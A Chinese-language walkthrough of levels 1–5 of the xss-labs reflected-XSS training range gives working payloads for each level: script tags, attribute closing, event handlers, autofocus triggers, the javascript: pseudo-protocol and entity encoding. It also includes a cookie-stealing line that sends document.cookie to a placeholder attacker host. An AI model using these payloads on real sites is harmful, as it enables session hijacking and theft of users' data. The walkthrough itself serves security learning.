前置通用准备
- 靶场访问入口 :
http://127.0.0.1/xss-labs/,点击对应关卡序号即可进入 - 必备工具 :浏览器 F12 开发者工具(
Elements面板看 DOM 结构、Console看 JS 报错、Network看请求参数) - 核心前置概念 :前 5 关均为反射型 XSS(非持久型 XSS):恶意 JS 脚本通过 URL 参数传递,服务器解析后将内容拼接到 HTML 页面返回,脚本在受害者浏览器中执行,攻击一次性生效,需诱导用户点击恶意链接。
- 验证成功标准 :成功执行
alert(1)弹窗(证明可以执行任意 JS 代码,是 XSS 漏洞的基础验证方式) - 通用操作逻辑 :先输入测试内容(如
test)提交 → 右键查看页面源码 → 分析输入内容的输出位置、过滤规则 → 针对性构造 Payload。
Level 1 无过滤基础反射型 XSS
关卡核心考点
无任何过滤、无编码的最基础反射型 XSS,URL 参数直接拼接到 HTML 页面中,考察 XSS 最核心的原理。
前置分析
-
进入关卡,URL 默认是:
http://127.0.0.1/xss-labs/level1.php?name=test -
页面显示:
欢迎用户test,右键查看页面源码,核心代码:html
预览
<h2 align=center>欢迎用户test</h2> -
结论:URL 中的
name参数值,无任何过滤、无任何转义 ,直接被拼接到<h2>标签内部,浏览器会直接解析参数中的 HTML/JS 代码。
解题思路
直接在name参数中写入完整的 JS 执行脚本,让浏览器将其解析为可执行的 JS 代码。
超详细分步操作
-
选中浏览器地址栏的 URL,将
name参数的值test替换为 Payload -
替换后的完整 URL:
http://127.0.0.1/xss-labs/level1.php?name=<script>alert(1)</script> -
按下回车访问页面,页面加载完成后立刻弹出
1的弹窗,通关成功。 -
验证:右键查看源码,可看到代码变为: html
预览
<h2 align=center>欢迎用户<script>alert(1)</script></h2>浏览器成功解析
<script>标签并执行了内部的 JS 代码。
最终 Payload
html
预览
<script>alert(1)</script>
核心涉及知识点
- HTML 标签解析规则:浏览器会自动识别
<script>标签,并执行标签内的 JavaScript 代码 - 反射型 XSS 的核心原理:用户可控的输入,未经处理直接输出到 HTML 页面,导致恶意代码执行
- URL 参数传递规则:GET 请求的参数会直接暴露在 URL 中,可被篡改、分享。
实际攻击运用场景
- 窃取用户 Cookie:构造 Payload
<script>window.location.href='http://攻击者IP/steal.php?cookie='+document.cookie</script>,诱导用户点击后,用户的登录 Cookie 会被发送到攻击者服务器,实现账号劫持。 - 钓鱼攻击:构造脚本自动跳转到钓鱼页面,诱导用户输入账号密码。
- 网页篡改:恶意修改页面内容,插入虚假广告、诈骗信息。
补充知识点 & 拓展
- 基础验证的
alert(1)仅用于证明漏洞存在,实际攻击可执行任意 JS 操作,包括键盘记录、页面挂马、内网扫描等。 <script>标签的执行规则:标签必须成对出现,且默认同步执行,页面加载到该标签时会立刻执行代码。- 大小写绕过拓展:
<Script>alert(1)</Script>同样可以执行,HTML 标签不区分大小写。
Level 2 标签闭合型 XSS
关卡核心考点
HTML 标签 / 属性闭合绕过,输入内容在两处输出,一处被转义、一处无过滤,考察 XSS 的输出位置对 Payload 构造的影响。
前置分析
-
进入关卡,在输入框输入
test点击搜索,URL 变为:http://127.0.0.1/xss-labs/level2.php?keyword=test -
右键查看页面源码,核心代码: php
运行
<!-- 第一处输出:用htmlspecialchars转义了特殊字符,无法注入 --> <h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2> <!-- 第二处输出:无任何过滤,直接拼接到input标签的value属性中 --> <input name=keyword value="'.$str.'"> -
结论:直接输入
<script>alert(1)</script>,会被放到value="xxx"中,变成 input 标签的属性值,不会被浏览器解析为 JS 代码,必须先闭合标签,才能让脚本执行。
解题思路
先闭合input标签的value属性和标签本身,让后续的<script>标签被浏览器解析为独立的 HTML 元素,从而执行 JS 代码。
超详细分步操作
-
选中浏览器地址栏的 URL,将
keyword参数的值test替换为 Payload -
替换后的完整 URL:
http://127.0.0.1/xss-labs/level2.php?keyword="><script>alert(1)</script> -
按下回车访问页面,页面加载完成后立刻弹窗,通关成功。
-
验证:查看源码,拼接后的 input 标签变为: html
预览
<input name=keyword value=""><script>alert(1)</script>">其中
">先闭合了value属性,再闭合了input标签,后续的<script>标签被正常解析执行,末尾的">会被浏览器当成普通文本,不影响代码执行。
最终 Payload
html
预览
"><script>alert(1)</script>
核心涉及知识点
- HTML 属性闭合规则:双引号
"用于包裹标签属性值,提前写入"可以强制结束属性,注入新的内容。 htmlspecialchars()函数的作用:将<、>、"、&转义为 HTML 实体(如<),让浏览器将其当成普通文本,而非 HTML 代码,是 PHP 中最基础的 XSS 防御手段。- XSS 注入的核心原则:输入的输出位置,决定了 Payload 的构造方式。
实际攻击运用场景
- 网站搜索框注入:绝大多数网站的搜索功能,都会把用户输入的关键词放到
<input>标签的value属性中,若未做过滤,就会出现该漏洞。 - 表单字段回显:用户注册、资料修改页面,若将用户输入的内容回显到输入框的 value 中,未做过滤也会触发该漏洞。
补充知识点 & 拓展
- 更干净的 Payload:用 HTML 注释掉末尾多余的内容,
"><script>alert(1)</script><!--,<!--会把后面的">注释掉,页面不会显示多余的符号。 - 单引号闭合拓展:如果属性用单引号
'包裹(如value='xxx'),则需要用'闭合,Payload 改为'><script>alert(1)</script>。 - 其他标签闭合方式:也可以用
" onclick="alert(1)",点击输入框时触发弹窗,无需闭合整个标签。
Level 3 事件触发型 XSS(单引号闭合)
关卡核心考点
尖括号<>被转义,无法注入新标签,考察事件驱动型 XSS,利用 HTML 标签的内置事件执行 JS 代码。
前置分析
-
进入关卡,输入
test提交,URL 变为:http://127.0.0.1/xss-labs/level3.php?keyword=test -
查看页面源码,核心代码: php
运行
$str = $_GET["keyword"]; $str = htmlspecialchars($str); // 转义了< > " &,但默认不转义单引号' echo '<input name=keyword value='.$str.'>'; // 注意:value属性用单引号包裹 -
输入
<script>alert(1)</script>测试,发现<和>被转义成了<和>,浏览器会当成普通文本,无法创建新标签,因此<script>标签完全失效。
解题思路
放弃注入新标签,利用<input>标签本身的内置事件属性,闭合单引号包裹的value属性,在标签内注入事件触发的 JS 代码,无需尖括号即可执行。
超详细分步操作
-
选中地址栏 URL,将
keyword参数的值替换为 Payload -
替换后的完整 URL:
http://127.0.0.1/xss-labs/level3.php?keyword=' onclick='alert(1)' -
按下回车访问页面,点击页面上的输入框,立刻弹出
1的弹窗,通关成功。 -
验证:查看源码,拼接后的 input 标签变为: html
预览
<input name=keyword value='' onclick='alert(1)'>其中
'先闭合了value属性,注入了onclick点击事件,当用户点击输入框时,就会执行事件内的 JS 代码。
最终 Payload(2 种常用)
- 点击触发:
' onclick='alert(1)' - 鼠标移入自动触发(无需点击):
' onmouseover='alert(1)'
核心涉及知识点
- HTML DOM 事件:HTML 标签内置的、可触发 JS 代码执行的属性,所有
on开头的属性均为事件属性。 - 事件驱动型 XSS:无需创建新的 HTML 标签,直接在现有标签内注入事件属性,触发 JS 执行,是绕过尖括号过滤的最常用手段。
htmlspecialchars()的默认规则:仅转义双引号",不转义单引号',若属性用单引号包裹,就存在闭合注入的风险。
实际攻击运用场景
- 严格过滤尖括号的场景:很多网站会直接过滤 / 转义
<>,认为这样就能防御 XSS,但完全忽略了标签内的事件属性注入。 - 表单字段、评论区、个人资料页:这些场景通常会限制 HTML 标签的使用,但未限制事件属性,极易出现该漏洞。
补充知识点 & 拓展
- 无用户交互自动触发 Payload:
' onfocus=alert(1) autofocus ',autofocus会让页面加载时自动聚焦到输入框,触发onfocus事件,无需用户任何操作即可执行代码。 - 常用事件清单:
onclick(点击)、onmouseover(鼠标移入)、onload(加载完成)、onerror(资源加载失败)、onblur(失去焦点)。 - 防御绕过:若网站过滤了双引号,就用单引号闭合;过滤了单引号,就用双引号闭合,需根据属性的包裹符号灵活调整。
Level 4 事件触发型 XSS(双引号闭合)
关卡核心考点
尖括号<>被直接删除(而非转义),黑名单过滤危险字符,考察黑名单过滤的局限性,以及双引号闭合的事件注入。
前置分析
-
进入关卡,输入
test提交,URL 变为:http://127.0.0.1/xss-labs/level4.php?keyword=test -
查看页面源码,核心过滤代码: php
运行
$str = $_GET["keyword"]; $str2=str_replace("<","",$str); // 把左尖括号直接替换为空 $str3=str_replace(">","",$str2); // 把右尖括号直接替换为空 echo '<input name=keyword value="'.$str3.'">'; // value属性用双引号包裹 -
测试发现:无论输入多少个
<>,都会被直接删除,无法创建任何新标签,<script>、<a>等标签完全失效。
解题思路
尖括号被彻底删除,依然无法注入新标签,继续利用<input>标签的事件属性,用双引号闭合value属性,在标签内注入事件执行 JS 代码。
超详细分步操作
-
选中地址栏 URL,将
keyword参数的值替换为 Payload -
替换后的完整 URL:
http://127.0.0.1/xss-labs/level4.php?keyword=" onclick="alert(1)" -
按下回车访问页面,点击输入框,弹窗成功,通关完成。
-
验证:查看源码,拼接后的 input 标签变为: html
预览
<input name=keyword value="" onclick="alert(1)">"闭合了双引号包裹的value属性,注入了onclick事件,点击即可执行代码,全程没有使用尖括号,完美绕过过滤。
最终 Payload(2 种常用)
- 点击触发:
" onclick="alert(1)" - 自动触发:
" onfocus=alert(1) autofocus "
核心涉及知识点
- 黑名单过滤的局限性:仅过滤 / 删除
<>,完全无法防御事件驱动型 XSS,因为事件注入不需要任何尖括号。 - 替换为空的过滤缺陷:本关直接把
<>删除,而非转义,看似更严格,实则依然无法防御标签内的属性注入。 - 双引号属性闭合规则:与单引号闭合逻辑一致,仅需根据属性的包裹符号,选择对应的闭合引号。
实际攻击运用场景
- 采用黑名单防御的网站:很多开发者认为 "删除尖括号就能防 XSS",这种防御方式完全无效,事件型 XSS 可以轻松绕过。
- 用户输入内容严格限制 HTML 标签的场景:如论坛签名、商品评论、昵称修改等功能,极易出现该漏洞。
补充知识点 & 拓展
- 双写绕过测试:本关是直接替换
<>为空,尝试输入<<script>>,会被替换为script,但没有尖括号包裹,无法成为有效标签,因此双写绕过无效。 - 事件属性的通用性:所有 HTML 标签都支持事件属性,不仅仅是
<input>,<div>、<img>、<span>等标签均可使用事件注入。 - 进阶绕过:若网站过滤了
alert函数,可使用prompt(1)、confirm(1)替代,效果完全一致。
Level 5 javascript 伪协议绕过 XSS
关卡核心考点
script关键字、on开头的事件关键字被过滤,且强制转小写,考察javascript 伪协议绕过关键字过滤的思路。
前置分析
-
进入关卡,输入
test提交,URL 变为:http://127.0.0.1/xss-labs/level5.php?keyword=test -
查看页面源码,核心过滤代码: php
运行
$str = strtolower($_GET["keyword"]); // 强制把输入转为小写,大小写绕过失效 $str2=str_replace("<script","<scr_ipt",$str); // 把<script替换为<scr_ipt,阻断script标签 $str3=str_replace("on","o_n",$str2); // 把on替换为o_n,阻断所有on开头的事件 echo '<input name=keyword value="'.$str3.'">'; // value属性双引号包裹 -
过滤规则总结:
- 强制转小写:
<Script>、ONCLICK等大小写绕过完全失效 - 阻断 script 标签:所有
<script开头的内容都会被篡改,无法创建 script 标签 - 阻断所有事件属性:所有
on开头的事件都会被替换为o_n,事件型 XSS 完全失效
- 强制转小写:
解题思路
放弃 script 标签和事件属性,利用 HTML 标签的href属性支持的javascript 伪协议 ,闭合标签后注入<a>标签,点击链接即可执行 JS 代码,完美避开所有过滤规则。
超详细分步操作
-
选中地址栏 URL,将
keyword参数的值替换为 Payload -
替换后的完整 URL:
http://127.0.0.1/xss-labs/level5.php?keyword="><a href="javascript:alert(1)">点击弹窗</a> -
按下回车访问页面,页面会出现一个「点击弹窗」的超链接,点击链接即可弹出
1的弹窗,通关成功。 -
验证:查看源码,拼接后的代码变为: html
预览
<input name=keyword value=""><a href="javascript:alert(1)">点击弹窗</a>">">闭合了 input 标签,注入的<a>标签被正常解析,href属性中的javascript:伪协议,会让浏览器把后面的内容当成 JS 代码执行,全程没有使用script和on关键字,完美绕过过滤。
最终 Payload
html
预览
"><a href="javascript:alert(1)">点击弹窗</a>
核心涉及知识点
- javascript 伪协议:一种特殊的 URL 协议,格式为
javascript:JS代码,浏览器会把冒号后面的内容当成 JS 代码执行,通常用于<a>标签的href属性中。 - 关键字过滤的绕过思路:当核心关键字被过滤时,放弃原有攻击路径,寻找不包含被过滤关键字的其他执行方式。
- 强制转小写的防御效果:可以彻底阻断大小写绕过,但无法防御不包含被过滤关键字的攻击方式。
实际攻击运用场景
- 严格过滤 script 和 on 关键字的场景:很多网站会把
script、on加入黑名单,认为这样就能彻底防御 XSS,但 javascript 伪协议可以轻松绕过。 - 论坛、博客、评论区:这些场景通常允许用户插入超链接,若未过滤
javascript:伪协议,就会出现该漏洞。
补充知识点 & 拓展
- 其他支持 javascript 伪协议的标签:
<iframe src="javascript:alert(1)"></iframe>、<img src="javascript:alert(1)">(部分浏览器限制),均可实现相同效果。 - 无交互自动触发拓展:可以用
<form>标签的action属性配合 javascript 伪协议,实现自动执行,Payload:"><form action="javascript:alert(1)"><input type=submit autofocus>,页面加载时自动聚焦提交按钮,触发表单提交执行代码。 - 关键字绕过进阶:若网站过滤了
javascript,可通过编码绕过,如javascript:alert(1),HTML 实体编码会被浏览器自动解析,完美绕过关键字过滤。
前 5 关核心思路总结
表格
| 关卡 | 核心过滤规则 | 核心绕过思路 | 攻击路径递进 |
|---|---|---|---|
| Level1 | 无任何过滤 | 直接注入 script 标签 | 最基础的反射型 XSS |
| Level2 | 部分输出转义,标签内无过滤 | 闭合标签 + 注入 script | 利用输出位置的防御缺陷 |
| Level3 | 尖括号转义,单引号无过滤 | 单引号闭合 + 事件触发 | 放弃新标签,利用现有标签事件 |
| Level4 | 尖括号直接删除,双引号无过滤 | 双引号闭合 + 事件触发 | 验证黑名单过滤的局限性 |
| Level5 | script、on 关键字过滤,强制转小写 | javascript 伪协议 + 标签闭合 | 放弃原有路径,寻找新的 JS 执行方式 |
XSS 绕过的核心逻辑:根据目标的过滤规则,灵活调整 Payload 构造方式,找到浏览器可解析、目标不拦截的 JS 执行路径。